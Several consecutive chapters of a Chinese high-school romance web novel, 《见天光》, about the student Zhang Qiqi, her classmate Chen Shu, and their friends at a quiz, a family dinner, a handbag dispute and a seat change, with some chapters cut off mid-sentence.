早自习的铃声响起,英语老师洪玲走进了教室,张期期这才不不得不收回欣赏的目光。 陈恕手心微湿,僵硬的身体终于放松了下来。 洪玲用手拍了拍桌面,“今天的早读课我们默写新单元的单词。叫到名字的同学上台写,没叫到名字的在下面写,写完之后前后桌相互批改。” 她之所以不叫同桌之间相互批改,正是因为她发现重点一班的学生格外地“狼狈为奸”,特别是“同桌”这样的关系。 洪玲话音刚落,张期期瞬间头皮发麻。被叫上去默写英语单词这样的事,每一回都少不了她。 班里的同学纷纷在心里为张期期默哀一瞬。 果不其然,洪玲开口便是:“张期期,上来。” 张期期站起身,眼睛却还黏在课本上一样,争分夺秒地多看几遍的单词,这就是她最擅长的临时抱佛脚。 心中哀嚎一声,她“生无可恋”一般地站在了黑板前最中间的位置。 洪玲接着道:“雷婷、陈恕。” 雷婷、陈恕默默地走上台,分别站在了张期期的左边和右边。 讲台下。 许兰亭悄悄将自己的椅子往后挪了挪了,整个人贴着后桌周嘉先的桌子,侧着头低声道:“期期这脑子是真灵活啊。” 周嘉先小声道:“她怎么了?” 许兰亭:“你看看她站的位置,她是第一个站上去的,却立马站在了中间的位置,绝对是打着抄左右两边的主意。” 周嘉先:……“你是她肚子里的蛔虫吧?” 如他所料,此刻的张期期分别看了眼两边的同学,嗯……看来英语老师是打定主意想刺激刺激她了。 她的左边,雷婷,英语课代表。 她的右边,陈恕,六边形战士。 张期期回头看了一眼,英语老师站在教室的最后面,离讲台稍微有点距离。 她轻轻敲了敲黑板,压低声音道:“陈恕,等会儿别挡着,给我抄一下。” 陈恕一愣,余光看她一眼。 他不说好,也没拒绝,只是身体默默往后挪了挪,拉开与黑板的距离,确保她的视线等会儿不会被他的身体挡住。 张期期偷偷笑了笑,立刻领会到他的意思。 另一边的雷婷见状,也有样学样。 张期期感激地对她笑了笑。 洪玲:“第一个单词,recite.” 学生们低下头在纸上写下这个单词包括它的中文意思。 张期期顺利地写下了单词,然而她越看自己写下的单词越觉得犹豫,这个recite的后面需不需要加个“r”啊? 要吧?犹豫片刻,张期期默默补上“r”。 她补上后偷偷瞄了一眼旁边陈恕写下的单词,悄悄地将“r”给擦掉了。 洪玲:“第二个单词组,standout.” 张期期:? ……是out,还是up? 她再一次偷偷瞄了陈恕一眼,果断写下standout。 站在教室最后面的洪玲:…… 读书时期,学生们永远以为老师站在讲台上看不清他们在底下的小动作,实则凭借着高度的优势,学生们的小动作在她的眼中几乎是无所遁形。 洪玲哼笑一声,“接下来,我同时念三个单词,一二列写第一个。三四列写第二个,五六列写第三个。讲台上的从左到右,一人一个。” 重点一班,全班四十一人,以六乘七,六纵列七横排的方式排列组合。 陈恕是第一列最后一排,但却是第六排,因为他身后是后门的位置,所以刚好留出来使得后门更加通畅。 许兰亭咂舌低声道:“道高一尺,魔高一丈啊!期期这下子完蛋咯。” 周嘉先踹了一下他的凳子,说什么呢,英语老师正看着他们俩呢…… 张期期闻言,一脸苦哈哈的样子。她就知道…… 陈恕抿了抿唇,瞥了她一眼,攥着粉笔的指尖微微发紧。 洪玲:“接下来三个,分别是fantasy\dialogue\pattern。” 张期期脑中一片空白…… 第二个英语单词到底是哪个啊?哎,她倒是会写第三个。要不,直接写第三个? 张期期指尖微动,写下“pattern.” 18. 第 18 章 《见天光》全本免费阅读 高二年级组办公室。 结束了上午的教学,张扬回到了年级组办公室。他将自己的教案放在桌面上,拿起桌面上的水杯喝了几口水,这才看向英语老师洪玲,“洪老师,你又罚张期期抄英语单词了?” 洪玲闻言,眼皮直跳,这已经是第三门任课老师突然这么问她了……而且,张扬是张期期的班主任。 洪玲:“张期期找你告状了?说我罚她抄单词?” 张扬咂巴咂巴几口茶水的味道,笑道:“怎么会?张期期还是蛮乖的孩子,你叫她抄单词,她哪回没有抄。” 化学老师呵呵笑了几声,“是啊,每回都抄,每回都在我们的课上偷偷抄英语单词。” 物理老师闻言,又气又笑,“嗯,每回被我抓到,我都让她起来解答物理题,但……她是抄单词不听课,可人家就是有办法看一眼题目,就给你准确答案。你说,我还能咋滴?” 洪玲:…… ……所以不是张期期告状,是你们这群老家伙准备告状? 洪玲突然泄气道:“你们说,这张期期是不是对我有意见啊?她其他科目那么优秀,好了,到我的科目上,她就突然脑干消失啊?” 张扬哎了一声,“可别瞎想,我从高一就带他们班,高一的时候她就这样了。” 高一的时候,重点一班的英语老师就不是洪玲。 张扬神秘兮兮道:“我还打听过,张期期初中也是这样,或者说啊,她从接触英语起,就是这样子了。” 京照一中,京照一小,京照初中,全都在这片区域,张扬作为老教师,他的朋友遍布这片区域的教学体系。 张扬双手一摊,“看看国际班的学生,张期期要不是这臭毛病,估计也会和国际班那些学生一样走出国的路子。” ……毕竟国际班的学生大多是京照市商圈里的孩子,张期期身后的张家也是商圈圈子里的。 话到这儿,洪玲只能无奈的叹了一口气,“原来是这样啊。” 张扬随即点头,“可不就是嘛!” 他如此应激的行为……洪玲皱了皱眉头,瞬间想清楚了什么似的,忽然似笑非笑地道:“张老师~你是怕我因为张期期独独英语成绩不好,进而对她有意见吧?” 张扬尴尬着哈哈笑了几声,“怎么会!洪老师你想太多了。” 洪玲哼了一声,“张期期其他科目那么优秀,足以证明她脑子非常好使,我怀疑她就是懒,英语成绩越差,她就越抵触,越抵触就越懒,进而形成闭环。” “她这每一周罚抄,是抄定了。”洪玲一锤定音。 张扬、化学老师、物理老师面面相觑,啊……行吧,反正张期期不会耽误他们这几科的学习。 * 张期期并不知晓年级办公室因她而起的风波,此时,她抄单词抄到手都酸了,所以决定休息一下。 许兰亭见她停下笔,连忙点了点她的肩膀,“期期……” 张期期一边甩着右手,一边转过身来,“干什么?” 许兰亭低声道:“我刚刚问先哥了,他也不会骑自行车,教不了我。要不,你帮我问问陈恕,他不是在店里卖自行车吗?他应该会,让他周末教教我呗。” 张期期无语一瞬,“行吧,我帮你去问问。” - 课间休息时间,班上的同学三三两两地说着话。 陈恕的前桌跑得不见人影,张期期过去时也就自然而然地坐在他前桌的椅子上,“陈恕。” 陈恕抬眸,“什么事?” 他面色平淡地看着她,等着张期期自己道明来意。 张期期笑着道,“你会不会骑自行车啊?我和兰亭都不会,本来我们想让先哥教我们的,但没想到他居然也不会!” “你……你这周末有时间吗?可以教教我们吗?” 陈恕垂下了眼帘,我们?她也想学吗? 沉默片刻后,陈恕微不可见地点了点头,“我这周日有空。可以教你们。” 张期期一时惊喜,“谢谢你,那……这周日早上十点,我们金河湾广场见?可以吗?” 金河湾广场,距离京照一中并不远,京照一中坐落在京照市区的CBD中心附近,各项设施都非常完善。 陈恕点头,“可以。” 张期期左手托着下巴支在陈恕的课桌上,右手轻轻扯了扯他长袖衬衫的袖口处。 陈恕望着她,张期期灿然一笑。 四目相对间,手机震动的声音突然响了起来,张期期顿了顿,从口袋里掏出手机查看消息。 「妈妈:期期,今天晚上我们家和许家、陆家、杨家聚餐,地点:华发商都顶层3401。你和兰亭、向川放学后一起来。」 张期期在手机上戳戳点点:「好的,妈妈。」 回完消息,她正欲将手机放进口袋里,却突然一顿,反而举起手机扬了扬,“陈恕……你还没有给我你的号码呢,或者加个□□号?不然周日的时候,我怎么联系你啊?” 陈恕看了一眼她晃动的手机,微微抿了抿唇,道:“不用,周日上午十点我会准时到的。” ……手机对他来说不是必需品,他也没有要联系的人,所以一直以来他都没有去买。 张期期低低哼了一声,听起来像是在撒娇一样,她再次微微扯了扯对方的袖口,“真不给我你的联系方式吗?” 陈恕抿着唇看她,半响,张期期自动败下阵来,“好吧。不给就不给。” 这时,上课铃声响起,张期期连忙道:“那周日的事你可要记得啊。” “好。”他说。 张期期赶紧回到座位上,转身朝后桌许兰亭低声道:“陈恕已经答应了,这周日上午十点钟,金河湾广场见。” 许兰亭笑,“太好了。” 张期期又道:“哦,对了,今天晚上,我家、你家还有向川家、杨夏姐姐家聚餐,我妈说放学后一起去。” 许兰亭疑惑:“我家?可是我爸妈昨天晚上出差去了啊……要聚餐的事情我怎么不知道。” 说着,他伸手往桌柜里的书包掏了掏,诶?没有…… 片刻后,他猛然拍了一下额头,今天早上他出门得急,忘记带手机了…… “手机忘带了……” 张期期点点头,“你家不是还有敬亭哥吗?敬亭哥也和叔叔阿姨差不多了。” 许兰亭撇了撇嘴,这句话倒也没错,他哥大他八岁,从小给他当爹又当妈的,可不就和他爸妈差不多了,啊,不,他哥这“爸妈”当得 19. 第 19 章 《见天光》全本免费阅读 - 下着雨,天色昏暗。 教学楼的走廊上踩满了湿漉漉的脚印,大多是没有雨伞,又见雨一直没停的学生们重新返回教室写作业,顺便等雨停所踩出来的。一间间教室里坐着稀稀拉拉的学生,白织灯的光芒从教室的门窗泄出来。 张期期拎着一把黑色的雨伞走上了四楼,高二重点一班的教室里还亮着灯。 她从走廊的窗户外望进去,陈恕静静地坐在位置上低着头看着书,瓢泼大雨对他没有任何的影响。 “陈恕~”张期期双手交叠搁在窗上,微微歪着头轻声喊道。 陈恕翻着书的指尖微微一顿,他侧头看向窗户外的张期期,半响,他问,“你不是走了吗?” 张期期笑着将自己的手臂抬高,小臂上挂着一把雨伞,“来给你送伞啊。”说着,她将伞拿下来,从窗户伸进去递给陈恕。 陈恕微微垂眼,看着眼前的黑色雨伞,伸手牢牢攥紧,他蓦然觉得下颌非常酸,像是心底深处翻涌着的酸楚涌上来一般。 “谢谢。”陈恕道。 张期期笑了,“不用客气啊,他们还等着我呢,我先下去了。” “等等……”陈恕忽然道。 张期期:? 她转身疑惑地看着他。 陈恕:“那你呢?雨伞给了我,你……” 张期期笑着打断他的话,“我有啦,你放心。走了……” 陈恕点头,“嗯。” * 漫天雨幕朦胧了整个世界,陈恕走到另外一边的窗户从外看出去,一中的校门口堵满了车,车子打着一闪一闪橙色的灯光。 他微微低头,雨幕中一把伞面上印着奥特曼的雨伞格外突出,却是个中年男人撑着。而他旁边另外一把黑色的雨伞下挤了三个学生。 淅淅沥沥的雨水拍打着雨伞,伞下拥挤,张期期无奈道:“非要这么挤吗?你们就不能一个跟李叔撑一把伞吗?” 许兰亭看了一眼在雨幕中格外引人注目的Q版奥特曼雨伞,用力地摇了摇头,“不了不了,我已经过了喜欢奥特曼的年纪。” 陆向川跟着点头,“我不喜欢太扎眼。” 张期期:…… 李叔哈哈笑着,这把伞是他儿子和他去逛超市的时候,非要买给他的。 陈恕站在窗边看着他们收了雨伞,上了汽车,汽车在雨幕中渐渐消失不见。 雨丝伴随着凉风吹进窗户,迎面而来的冰冷湿润使得他瞬间回过神来,陈恕看向手边的黑色雨伞。 灼热悲怆的记忆掩盖之下有一个小小的角落正在松动,滂沱大雨中,雨水淹到成年人的膝盖处,年幼的他趴在妈妈的背上费劲地撑着一把黑色的雨伞。 女人温柔的声音好似还在耳边,「宝宝手酸不酸啊,要不妈妈一只手抱你,一只手撑伞好吗?」 年幼的男童认认真真道,「不用,妈妈我可以的。」 女人轻盈的笑声回响在黑色的雨伞之下。 而后来,他在贫瘠的连绵大山中淋了十几年的雨。 * 金河湾商都顶层3401. 张期期一行三人到的时候,果然包厢内没有任何一名长辈。杨夏倒是已经在看菜单了。 杨夏招手,“你们来啦。期期,过来坐。” 张期期笑着走过去,坐在了杨夏的左手边,“杨夏姐姐,你怎么这么快就到了?” 陆向川、许兰亭纷纷坐在了副桌上,看着张期期她们聊天。 杨夏皱了皱眉头,叹了一声,“在家闲得无聊就早点过来了。” 杨夏是京照一中高三级的学生,她和陆向川一样走的是国际班出国的路子,而她也早就被国外的大学录取了,只等明年春季一月份前去报道了,所以这段时间她在家闲得发慌。 张期期羡慕道:“在家闲得无聊……啊,什么时候我也能在家闲得这样。” 杨夏哈哈笑道,“那你又不走出国的路子,只能老老实实参加高考,千军万马过独木桥了。” “杨夏姐,那你怎么不和朋友出去玩?”陆向川问。 国际班的学生大多早就被国外的大学录取,所以对他们来说,学校可去可不去,杨夏的朋友也都是国际班的,照理来说,他们都很有时间可以一去出去玩才是。 杨夏摆摆手,“去啦,我们一群人国内国外玩了几圈,都玩吐了。” 张期期实名制表示羡慕。 正说着,包厢的门被打开,长辈们陆续到了,都坐在了主桌上。 菜品是早就已经点好的了,他们一上桌,一道道菜陆续上来,副桌这边杨夏又多点了几道甜品。 那边家里的大人又在聊着公司上的事情,这边杨夏一边吃着一边偷偷问张期期,“听说你们班转来了一位新同学,男生,还长得超级好看,超级帅的?” 杨夏的眼里闪烁着好奇的光芒。 张期期拿着的筷子一顿,顺势收回来,她不可思议道:“这你都知道?你不是很久没去学校了吗?” 杨夏轻轻拍了拍她的手臂,小声说着,“正是很久没去学校了,闲得慌,所以才逛学校贴吧发现的。” 张期期无语片刻,“嗯,是啊。新同学叫陈恕,长得……很精致。” “有照片吗?我逛遍了贴吧都没见着一张照片。” 张期期眼前蓦然浮现陈恕的冷淡的神色,斟酌道,“大概是因为他性格比较冷,所以……大家不太敢冒犯他?” “高岭之花!!”杨夏兴趣盎然。 张期期噗呲一笑,好吧,“高岭之花”这个词好像还蛮贴切的。 杨夏:“诶,话说我们一中的校花校草也就是我们这一届的那两位已经离校了,一中的贴吧的吧主居然没有再次投票选举?” “什么鬼,选举校花校草的这也太幼稚了吧。”许兰亭忽然插嘴道,“不过,这玩意儿咋弄啊?” 张期期边喝着果汁边听许兰亭和杨夏在讲着上一届的贴吧风云。 - 一顿饭吃到了晚上八点多,杨家、陆家、许兰亭和他哥陆陆续续都先走了,张家也准备回去了。 张世明揽着戚和风的肩膀,张期期跟在一旁,一家三口说说笑笑地进了电梯。 电梯下降到一楼,张期期走出电梯时目光无意识地环绕四周望了一圈,随即她的脚步突然顿住。 戚和风见女儿站在电梯门口,不知道在看什么,便疑惑道:“期期?你在看什么,怎么不走了?” 张世明也循声看过来。 张期期:“爸妈,我看到我们班同学了,我过去一趟,你们先回家吧。” 张世明看了女儿一眼,“行,我和你妈先回去,让你李叔等你。” 他是从公司下班后自己开车过来的,而妻子戚和风是 20. 第 20 章 《见天光》全本免费阅读 - 男顾客瞪着张期期,急声道:“没错,就是她笨手笨脚地,把调料泼到了我给我女朋友新买的包包上。你看看这包包都脏成什么样子了,洗不掉了。” 这时,男顾客的女朋友才终于开口,她撇了撇嘴,翻着白眼道:“今天是我的生日。我男朋友送我的是新买的名牌包包,弄坏别人的东西要赔,难道不是天经地义的吗?” “就是,这个包包是我去美国出差的时候在专柜买的,七万块钱啊!”男顾客说着一脸的心疼。 林听闻言脸色一白,眼里满是慌张,七万块钱,她要怎么赔? 林听红着眼眶,“可是明明是你撞到了我啊……” “……而且调料我们都是客人自己调配,你非要让我去给你调,我端着调料碗过来的时候,是你突然起身撞到了我……这才……” 男顾客打断林听的话,“是你泼的总是事实吧?” 林听眼眶更加红了,“不是你撞到我,我怎么会……” 男顾客的女朋友直接道:“你家里人没教你吗?弄坏别人的东西,赔偿是天经地义的吧?” 林听:“我都说了,是他撞的我……” 男顾客:“你就说是不是你泼的?” 双方再次起了争执,期间,张期期盯着男顾客的包包看了好一会儿,她总觉得有些奇奇怪怪的违和感。 这个包……她有,是今年她生日的时候向川的妈妈送给她的生日礼物。张期期上手摸了摸一下。 男顾客双眼一瞪,伸手欲要拍掉张期期的手,张期期迅速收回手。 男顾客怒道:“弄脏了你还上手摸?这可是名牌包包,我就知道你们这些服务员一个月拿着两三千的工资,买不起就嫉妒我女朋友吧。” 被地图炮轰的服务员闻言,把白眼都翻上了天。 男顾客伸手指着林听道:“还有你,兼职生吧!一小时二十块钱吧……” 他的话还未说完,眼前一闪,随即猛然嚎叫一声。 张期期握住了他的食指往上一掰后马上收回手,冷冷道:“可别七万块钱了,你的包是假的。” 男顾客嚎叫的声音一顿,“你乱说什么呢?是赔不起,不想赔就说包是假的,哼……今天不赔就别想走。把你们爸妈叫过来。” 男顾客的女朋友一脸的不耐烦,她看了一眼因为一个包包就在大庭广众之下吵吵嚷嚷的男朋友,心里觉得非常跌份儿。真正的有钱人哪里会因为这几万块钱一副心疼的模样。 但那包包是七万块钱买的,还是送给她的,她还没有背过上万的包包呢,这也是她为什么忍着心烦在这么多人的目光下坚持坐着的理由。 要是这包包是假的呢?她顿了顿,抬眼看向自己的男朋友。 男顾客一时心慌,更加急言厉色,“七万块钱的包谁还买不起啊,也就你们学生买不起,我看你们是不想赔吧?今天你们不赔也得赔。” 张期期拍了拍林听的手安抚她,“这包就是假的!真正的包摸着是有纹路的凹凸感的,而你这个包非常光滑。” “你不信的话,我们可以上六楼,上面就有一家你这个包包的牌子专卖店。我们可以让店员鉴定一下你这个包到底是真的还是假的。” 林听微红着眼,低声问张期期,“他的包真的是假的?” 张期期点点头,“他这个包我也有,十有八九他那个是假的。” 听到这里,林听提着的心终于落了下来,期期家非常有钱,重点一班的同学都知道,所以她说对方的包是假的,那就一定是假的。 男顾客一噎,气势瞬间弱下来了,“你说去鉴定就去鉴定啊?我看你们就是想拖延时间,少废话,七万块现在就赔,还有我这包包是在你们店里被你们的员工弄脏的,你们员工赔不起,你们店里也有责任。” 张期期笑了笑,笑意却不达眼底,“行啊,我们也没说不赔,但是不能你说这个包多少钱就多少钱吧,我们去鉴定一下,看看这个包到底值不值七万块钱。” 一旁的店长也开口道,“是得去鉴定一下,不然你就拿出你在美国专柜结账的时候,人家店员给你的小票。” 男顾客顿了顿,嚷嚷道:“小票我早就扔了。” 张期期:“那就上6楼鉴定一下包包是真是假。” 事情到这里就僵住了,男顾客一个又一个的借口就是不肯上6楼鉴定,张期期等人表示不鉴定就坚决不赔。 一楼的这家海鲜自助餐是京照市必打卡的一家美食店,这也就意味着店里的客户流量绝对是不差的。 因此,此时围观的人员越来越多,男顾客脸上的心虚也就越来越明显。 他一而再再而三的借口彰显着他的底气不足,这时男顾客的女朋友终于坐不住了,围观人员仿佛在对她指指点点一般,她只觉得自己脸上火辣辣的,丢脸极了。 恼怒、羞耻、尴尬的情绪交织着,她恨恨地瞪了一眼现在在她看来漏洞百出的穷酸男人。 为了挽回自己的形象,她表现出被欺骗的愤怒,“只要是你送我的东西,假的又怎么样?我都喜欢,但你居然欺骗我,这一点我决定不能容忍,分手吧!” 女人说完,拎起自己原本的包包起身就走。 男顾客慌了,夺过桌上被弄脏的包包,追着道,“真的吗?玲玲,只要是我送的你都喜欢?” 他舔着笑脸,“我们玲玲一点儿都不物质,我欺骗你那是被我那些朋友哄骗了,他们说要买名牌包包给女朋友,女朋友才会开心。我就知道你不是这样的人,这七万块和五百块的包包也差不了多少啊……” 围观人群一阵喧闹,原来如此,他的包包是五百块钱买的假货啊。 女人脚步一个踉跄,气得咬牙切齿,她恨不得能原地消失在所有人面前。 两人准备走出海鲜自助餐店的时候,被店员拦了下来,“您好,七号桌请买单。” ……这也没吃多少啊,男顾客一脸不划算的样子,他脸上的神情如同割他的肉一般,眼见女朋友的脸色越来越难看,他慌慌张张地付了款,随即追着女朋友离开了海鲜自助餐。 - 晚上接近九点钟了。 海鲜自助餐的店长考虑到林听算是受了无妄之灾,于是“大发慈悲”挥挥手让她提前下班了。 林听向店长道了谢之后,与张期期并肩着走出店里。 从临近放学就下起来的大雨到现在还在下着,且有越下越大的趋势。 狂风暴雨拍打着树叶,树干在风嚎声摆动着。 林听眼眶酸涩,她微微吸了吸鼻子,“期期,刚刚真的谢谢你,要不是你……我真不知道该怎么办了。” 张期期挽着对方的手臂,语气轻松,“诶……没事儿!我们是同学啊。” “不过,要是万一再遇见这样的事,就直接报警好了,首先我们要确认对方的包是不是正品,再者就算对方的包是正品,那也不可能让你原价赔偿的,最后,到底是谁的责任更大这都不好说呢。” 林听低低地恩了一声,其实她并没有那么脆弱,只是以万为单位的价格是她远 21. 第 21 章 《见天光》全本免费阅读 - 直道拐弯后是一条非常狭窄的道路,只能容许两辆自行车齐头并进。两旁是老旧的平方房屋,墙上贴满了乱七八糟的广告。 林听穿着雨衣骑着自行车从中穿过,两旁房屋内泄露出来的光线便是她回家的路灯。她家就在小道的尽头。 一到家门口的屋檐下,林听将身上的雨衣脱下,从书包里拿出旧氏手机给张期期发送“已到家”的信息。 她望着滴答滴答响着的头顶屋檐,神色莫名怔愣,张期期和许兰亭真的很像,他们都是非常温暖、会为旁人设身处地的人。 屋内传出细微的响动,林听将手机放回书包里,拿出钥匙打开门,将自行车推进了屋子里,果然奶奶的房间还亮着暖黄色的小灯。 “奶奶……我回来了。” “回来了就好。”屋内传来老人家略带困倦的声音。 林听看了一眼时间,晚上九点半了,她将书包放下,从厨房里倒了一杯温水往奶奶的房间去,“奶奶,下次您不要等我了,到您平时睡觉的点你就先睡吧。” 老人家此时正坐在床尾叠着衣服,她接过林听手里的温水,摸了摸她的手,“我知道了,你快去洗个热水澡吧,这手都这么凉了。” 林听点点头,等奶奶喝完水后,她扶着奶奶上床睡下,又给她盖好了被子,将屋内的大灯关掉,只剩下微弱的小夜灯,这才轻轻关上房门。 - 浴室内水雾弥漫。 洗手台上放着的手机微微震动,洗着澡的林听一顿,拿过毛巾将手擦干,翻看着手机上的信息。是张期期发过来的“已到家”。 她回了个笑脸的表情包表示收到信息。 张期期,许兰亭…… 林听垂下眼帘,她跟他们根本不是一路人,他们张扬自在,率性而为,而她在这泥泞的生活中挣扎着。 她知道他根本就不会骑自行车,原以为这样的借口能让他知难而退,却没想到课间的时候听到他到处在问别人能不能教他骑自行车。 林听轻轻拍了拍思维混沌的头,算了……想再多都是无用的,对于现在的她来说,只有读书才是她唯一的出路。 夜色暗沉如水,她房内的灯光久久亮着,少女埋头笔耕不辍,试卷翻动的声音在寂静的夜色中格外地响。 她有她的路要走。 - 另一边,张期期洗了澡出来,头发擦得半干披在肩膀上。 她倚靠在房间内的小沙发上,指尖在手机屏幕上翻动着,是林听发过来的笑脸。 张期期微微一顿,想起今晚的事情,她下意识地点开了许兰亭的对话输入框……删删减减,最终她还是返回了手机页面。 算了,林听不一定愿意让兰亭知道。 * 张期期这两天一有空闲的时间就开始抄写英语单词,时间一晃已经是周五了,她需要在周五放学之前将罚抄的英语单词交上去。 周五,重点一班需要根据上次月考重新编排班级座位。 早读课的铃声响起,张扬腋下夹着教案和上次的成绩单排名走进了教室。 教室里乱哄哄的,吃早餐的吃早餐,说话的说话,打闹的打闹、补作业的补作业…… 张扬用力拍了拍桌面,将打闹声镇压下来,“铃声都响了,你们没听见是吗?这走廊这么长,我一路走过来就我们班的声音最大。” 张扬:“都安静下来!还闹是吧?许兰亭,你的篮球是想等我没收吗?” 许兰亭闻声,连忙将篮球塞在了教室后方的那一排的柜子里。 一时间教室里安静如鸡,张扬的脸色才终于好看了一些,天知道刚才他和教导主任一起走过来的时候有多尴尬,一整排的教室就他们班喊声震天,不知道的还以为两军开战呢! 张扬余光扫了一眼窗外,教导主任已经离开了。 许兰亭控制着音量,“老班……教导主任走了是吧?” 张扬闻言,瞪了他一眼,重点一班的学生默契十足、偷偷笑了,张扬突然一反常态,他们自然要配合出演。 张扬蓦然又笑了,“行了,教导主任走了。早餐没吃完的快吃,十分钟后我们换位置。” 他话音一落,班里不知不觉又喧闹起来,学生们三三两两压着声音、神色兴奋地说着话,他们讨论着等会儿要坐在哪个位置,又拉着朋友准备坐一起。 虽然说座位是根据成绩排名优先选择,但并不是没有空子可钻。 张期期难得停下并排着的三支笔,她瞄了一眼讲台,张扬正靠坐在椅子上闭着眼睛休息。 “陈恕……” 张期期猫着身子窜到了陈恕的座位旁,维持着半蹲的姿势抬头往上看。她扯了扯对方的袖子,压低声音道:“陈恕……等会儿我坐你旁边行吗?” 陈恕浑身一僵,她这个姿势靠得实在太近了。 陈恕不自然到声音都变得紧绷,他侧首低头,“你全年级排名十五,班里排名十九。等轮到你选座位的时候,我不保证我身边旁边已经有人坐了。” 张期期失落道:“哦……是哦。” 她这才突然想起来这一点,陈恕是年级第一,肯定会有很多人愿意坐在他的身边沾沾学神的气息。 她沮丧道:“那好吧。”说完,她又猫着身子溜回了座位上,实在是太可惜了,重点一班虽然说一个月换一次座位,但其实大家的成绩都很稳定,很可能这一次换了之后,以后的月考即便换座位也不会有大的变动了…… 十分钟过后,张扬睁开眼睛,“行了,就按照成绩排名都到走廊外面排着吧。小声点儿,不要在走廊上打打闹闹,聊天说话。” 班里的学生从顺如流地出了教室,排起了队伍。 一会儿后,张扬看着手中的成绩单,开始念名字,“陈恕。” 陈恕第一个走进教室,教室里大多数人的桌上乱糟糟的堆满了书,他看了一眼自己原先的位置,第一列第六排,也就是最后一排。 这个位置靠近后门,来来往往的学生实在太多了,特别是有时候总有迟到,想偷偷溜进教室的学生在窗口处向他示意,让他帮忙开下后门。 「麻烦。」陈恕心道。 众所周知,一间教室里最好的位置是第三、四列,第三四排的位置,位于教室的最中间,视野极好,但陈恕不喜欢,那代表着被全班的同学包围在最中间。 「陈恕,等会儿我坐你旁边行吗?」 张期期的话仿佛回响在他的耳边,陈恕抿了抿唇,走向了第六列第七排的位置,也就是教室最靠里面那一列的最后一排。 这个位置是 22. 第 22 章 《见天光》全本免费阅读 - 如愿以偿的张期期这会儿心已经落到了肚子里,张扬又念了几名同学的名字后终于念到了许兰亭。 他在走廊的窗口处看到了林听现在的位置,“胜券在握”般地走进教室,直奔林听旁边的位置、陈恕的前桌——第六列第六排。 许兰亭坐下的时候,林听微微一愣,随即垂下了眼帘。 许兰亭伸手摸了摸后脑勺,一个大男生神色扭捏了一瞬后,又像下了什么决心一样,深深地吸了一口气,这才低声道:“林听,好巧哦……我们居然是同桌……” 他后桌的陈恕:…… 这几天他在校道、在食堂、在教室,甚至在男厕,他都听到了许兰亭“贿赂”班上的男生女生,让他们将林听同桌的位置让给他。 这……叫“好巧”? 林听顿了顿,睫毛轻轻颤抖,“嗯,挺巧的。” - 早读课结束之前,班里的同学已经全部重新选好了位置。 张扬站在讲台上一一掠过选了新座位的同学,他的目光在张期期的身上停顿了一会儿,突然笑道:“张期期你这位置不错,是打算奋发图强了吗?” 张期期:…… 班里的同学转身望过去,嗯……好家伙。张期期被全年级第一陈恕、第二林听、第三周嘉先包围在最中间,张扬一看可不就觉得她要奋发图强了…… 然,大家心照不宣地笑了,笑出咔咔声,此“奋发图强”非彼“奋发图强”,张期期这是“醉翁之意不在酒”。 张扬被大家笑得丈二摸不着头脑。 他拍了拍桌面,“好了,那座位就这么重新排了啊!早读课下课之后,你们再把东西收一收。” 时间掐得刚刚好,张扬的话音刚落,下课铃声就响了起来,教室里顿时一阵喧闹。 京照市重点一中,重点一班的学生课桌上、课桌里、桌下都堆满了高高的一摞书本、资料、习题,所以换座位是一项非常麻烦、大工程的事情。因此,同学们都选择了“简单粗暴”的直接搬桌子。 陈恕是个例外,他的桌面上干干净净,桌子里就放着个书包,桌底下啥也没有。所以其他同学忙忙碌碌搬来搬去的时候,他已经坐在新位置上了。 张期期看着自己的位置,有些生无可恋……怎么她的位置上这么多东西?她甚至从桌子里面摸出了一罐又一罐的油画颜料…… 嗯……还有几支没拆封的画笔,画画的调色油都有……零食、小说、镜子、护手霜…… 搬座位……这是个大工程…… 张期期原本的位置就在“风水宝地”附近,因此新搬来的学生迫不及待了,一直催促着张期期快一点收拾。她尴尬地笑了笑,“你等我一下,我叫个人来帮我搬一般。” 快步走到陈恕身边,张期期微微弯下腰,笑着低声道:“陈恕,能不能帮我搬一下桌子?有点重……” 陈恕抬眸,少女眼眸带着笑意,她虽然是在问他,但却好像笃定他一定会帮忙。 他抿了抿唇,“好。” 到了张期期的座位旁,陈恕一愣,眼底闪过不可思议。这一地的东西……她坐在位置上,还有落脚的地方吗? 陈恕决定先将桌子搬过去,他张开手抬着桌子的两边,随即一顿。 陈恕:? 有点重……他决定再试试…… 搬不动?搬不动。 陈恕眼神复杂地看了一眼张期期,道:“是有点重……一起搬吧。” “啊?”张期期惊讶地看着他,反应过来后,连忙道:“哦,好。” 一张桌子,她抬一边,陈恕抬一边,从“满地狼藉”的教室里搬到最后一排去。 接着,陈恕帮着张期期将地上一摞又一摞的书本、资料,还有其他杂七杂八的东西都搬到了新位置处。 一旁坐在原来位置上的周嘉先一边喝着保温瓶中的水,一边百无聊赖地看着周围的同学忙忙碌碌。 他视线转移到左边后,突然一乐,这强烈的对比,陈恕的位置空空荡荡,张期期的位置凌乱无序。 周嘉先忍不住笑道:“期期,你坐最后一排,这后面又没有遮挡的,你这些东西存在感很强啊,教导主任巡逻的时候他不可能看不见的。” 张期期苦恼地“唉”了一声,她也发现了,以前她坐在中间,周围都有其他的桌子围着,谁也看不见她到底带了什么东西,但现在……这后方空荡荡的,一目了然啊! 陈恕:“放我这里吧。” 张期期顿时笑开了花,“真的?放你那里?” 陈恕:“嗯,放吧,我没多少东西。” 张期期笑着,“陈恕,谢谢你啊。” 她随手将一摞叠得高高的书册放在陈恕的桌子上,“那这些就放你这里了。” 陈恕点点头,目光随意地望向那一摞厚厚的书,下一刻,他目光一滞。那一摞厚厚的书最上面那本是蓝粉配色的封面,书名是几个大字——“校草的吻”。 少年沉默半响,耳后慢慢变得通红,他指尖微微颤抖着将那一摞书的第二本抽出来放到了最上面。 但……他的目光再次一顿,抽出来的第二本封面是一男一女在亲吻,书名《霸道总裁强制爱》。 陈恕僵着身体,将那一摞的书本挪了一下,一整排的书脊面向他,《冷情boss请放手》《霸道总裁囚禁爱》…… 陈恕一时间几乎无法下手,最终他将书包从桌子里拎出来挂在其左侧的挂勾处,哆哆嗦嗦着手将这一摞的书塞进了桌子里,甚至确保书脊的那一侧塞在里面。 如此强烈、直白地将某种在他们这个年纪不可言说的情感跃然纸上的小说,是他从未接触过的东西,模糊、朦胧却又在他心头留下深深的震撼。 张期期将东西能怎么塞就怎么塞在课桌里面,大概地将东西整理完之后,她轻轻呼出一口气,又点了点前方林听的肩膀,“去不去厕所?” 林听的东西也比较少,在许兰亭热情的帮忙下,她早就收拾完坐在新的位置上看着书。 “去。”林听道。 ……虽然此时她并没有想上厕所的欲|望。 张期期挽着林听的手臂,两人肩并肩走出了教室。 